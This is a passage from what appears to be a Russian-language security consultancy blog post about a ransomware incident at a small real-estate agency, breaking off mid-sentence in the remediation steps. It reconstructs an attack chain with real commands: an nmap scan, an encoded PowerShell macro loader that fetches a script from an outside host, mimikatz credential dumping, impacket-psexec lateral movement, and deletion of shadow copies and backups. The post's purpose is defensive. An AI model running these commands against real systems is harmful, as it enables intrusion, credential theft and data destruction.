CIOlogia Безопасность бизнеса · не на словах, а с доказательствами
← Все разборы Информационная безопасность

9 дней без единой сделки: технический разбор атаки на агентство недвижимости — и почему та же дыра парализовала целую страну

Обезличенный кейс: как шифровальщик остановил работу небольшого агентства на девять дней — и почему тот же архитектурный просчёт, только в масштабе государства, недавно на неделю заблокировал сделки с недвижимостью в целой стране.

Разбор CIOlogia

Директор агентства недвижимости позвонил в панике: вся база договоров и клиентов заблокирована, менеджеры сидят без работы, а сделки, которые должны были закрыться на этой неделе, зависли в воздухе. Обычный вторник превратился в девятидневный простой — бухгалтер утром не смогла открыть программу учёта сделок, вместо интерфейса система показывала требование заплатить за расшифровку файлов.

История рядовая — таких инцидентов у малого бизнеса по России и СНГ происходят сотни в месяц. Интересно другое: буквально через несколько месяцев после этого кейса похожий сценарий, только в масштабе целого государства, разыграла кибератака на Национальное агентство по кадастру и регистрации земли Румынии — платформа e-Terra встала на неделю, и в стране физически нельзя было ни купить, ни продать недвижимость. Архитектурная ошибка одна и та же, просто масштаб разный.

Где на самом деле была дыра

Аудит на месте занял час, чтобы понять картину целиком. Вся база сделок хранилась на одном обычном компьютере в кабинете директора — без резервных копий и без защиты, кроме бесплатного антивируса трёхлетней давности без обновлений сигнатур.

  • Единственная копия базы — на одной рабочей станции, без бэкапа и версионирования
  • Устаревший бесплатный антивирус без модуля anti-ransomware и без обновлений полгода
  • Общий пароль на вход в систему, который не меняли после увольнений сотрудников
  • Отсутствие разграничения доступа — любой сотрудник видел все сделки компании
  • SMBv1 включён по умолчанию, шара с базой доступна всем компьютерам в локальной сети без ACL

Заражение пришло через письмо с поддельным счётом от «поставщика» — классический вектор, который срабатывает, когда некому проверить подозрительное вложение и нет sandbox-фильтрации почты.

Как это эксплуатируется

Ниже — типовая цепочка атаки для подобной инфраструктуры, воспроизведённая по логике реальных инцидентов такого класса (Phobos, LockBit, Makop и их клоны часто заходят именно так).

Шаг 1. Разведка периметра

nmap -sV -p- --open 203.0.113.10

PORT     STATE SERVICE     VERSION
25/tcp   open  smtp        Exim smtpd
445/tcp  open  microsoft-ds Windows Server 2012 R2 (SMBv1 enabled)
3389/tcp open  ms-wbt-server Microsoft Terminal Services

Уже на этом этапе видно два красных флага: SMBv1 включён (потенциально уязвим к EternalBlue, CVE-2017-0144) и RDP торчит наружу без NLA — классический вход для перебора или для BlueKeep (CVE-2019-0708).

Шаг 2. Фишинг с поддельным счётом

Вложение — .docm с макросом, который при включении содержимого разворачивает загрузчик:

powershell.exe -nop -w hidden -enc SQBFAFgAKAB...
# декодируется в
IEX(New-Object Net.WebClient).DownloadString('http://185.xx.xx.xx/update.ps1')

В логах это выглядит как Event ID 4688 (создание процесса powershell.exe с дочерним процессом WINWORD.EXE) — классический индикатор компрометации через макрос Office.

Шаг 3. Закрепление и сбор учётных данных

mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords

Authentication Id : 0 ; 123456
User Name         : admin
Domain            : WORKGROUP
Password          : Password123

Общий пароль, не менявшийся годами, — это ровно та ситуация, когда одна скомпрометированная учётка мимикатцем открывает доступ ко всем машинам в сети.

Шаг 4. Боковое перемещение по общему паролю

impacket-psexec 'WORKGROUP/admin:Password123@192.168.1.5'
[*] Requesting shares on 192.168.1.5.....
[*] Found writable share ADMIN$
[*] Uploading file...
[*] Opening SVCManager on 192.168.1.5.....
Microsoft Windows [Version 10.0.19045]
C:\Windows\system32>

Тем же способом атакующий проходит по всем машинам сети, где стоит один и тот же пароль — включая тот единственный компьютер с базой сделок.

Шаг 5. Доступ к шаре с базой и шифрование

smbclient //192.168.1.5/CRM_DATA -U admin
smb: \> dir
  договоры_2026.db      12 583 264 blocks
  клиенты.mdb            2 104 512 blocks

vssadmin.exe delete shadows /all /quiet
wbadmin delete catalog -quiet

Удаление теневых копий (VSS) — стандартный шаг перед шифрованием, чтобы жертва не смогла откатиться через «Предыдущие версии файлов». После этого по всем расшаренным дискам разворачивается шифровальщик, и на рабочем столе появляется README.txt со ссылкой на .onion-чат с требованием выкупа.

Полутехнические пруфы

  • Порт 445/tcp открыт в локальной сети без сегментации, SMBv1 не отключён (типично для Windows Server 2012 R2 / Windows 7-10 без апдейтов)
  • RDP 3389/tcp доступен без Network Level Authentication — риск CVE-2019-0708 (BlueKeep) и банального брутфорса
  • В журнале безопасности массово фиксируются Event ID 4625 (неудачный логон) с интервалом в секунды — признак перебора пароля, за которым следует единичный 4624 (успешный вход) в нерабочее время
  • Файлы базы данных переименованы с добавлением расширения вида .locked, .phobos или похожего — типичный маркер конкретного семейства шифровальщика
  • Антивирус — бесплатная версия без модуля поведенческого анализа и без обновлений сигнатур более 180 дней, то есть эффективно не детектирует свежие сборки шифровальщиков

Что и почему сработало бы дальше

Шифрование — не конечная цель, а самый заметный этап атаки. Если бы злоумышленник действовал по актуальной схеме двойного вымогательства, до шифрования он бы:

  • слил базу клиентов и договоров себе на сервер (эксфильтрация через rclone или curl на файлообменник) — это уже утечка персональных данных с потенциальным штрафом по 152-ФЗ;
  • получил доступ к почте директора и, зная историю переписки с контрагентами, отправил бы поддельные реквизиты для оплаты сделки (классическая BEC-атака на завершающейся сделке);
  • при общем пароле, использованном ещё и для банк-клиента или личного кабинета налоговой, попробовал бы credential stuffing по этим сервисам.

Ни один из этих сценариев не требует особой квалификации — весь набор инструментов (Cobalt Strike/Metasploit, mimikatz, impacket) свободно доступен и активно используется даже низкоквалифицированными группами по схеме RaaS (ransomware-as-a-service).

Сколько это стоило в деньгах

Агентство не могло оформить ни одной сделки девять дней подряд. За это время сорвались три готовые продажи — клиенты ушли к конкурентам, которые быстрее подготовили документы. Один упущенный объект в новостройке — это около 350 000 ₽ комиссии агентства. Восстановление истории звонков и переписки вручную заняло почти две недели работы менеджеров, которые в это время не продавали, а разгребали последствия.

Как закрыли

Первым делом — остановили распространение и изолировали заражённую машину от сети, дальше — системные изменения инфраструктуры.

  1. Настроили ежедневное автоматическое резервное копирование базы в Яндекс Cloud с историей версий:
    rclone sync /data/crm ycloud:backup-crm --backup-dir=ycloud:backup-crm/$(date +%F) --log-file=/var/log/rclone.log
  2. Отключили устаревший протокол SMBv1 и закрыли RDP от внешнего мира:
    Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol
    netsh advfirewall firewall add rule name="Block RDP external" dir=in action=block protocol=TCP localport=3389 remoteip=any
    Доступ к RDP оставили только через VPN с включённой NLA.
  3. Разграничили доступы: каждый менеджер видит только свои сделки, директор — всё; убрали общий пароль, ввели персональные учётные записи и обязательную дв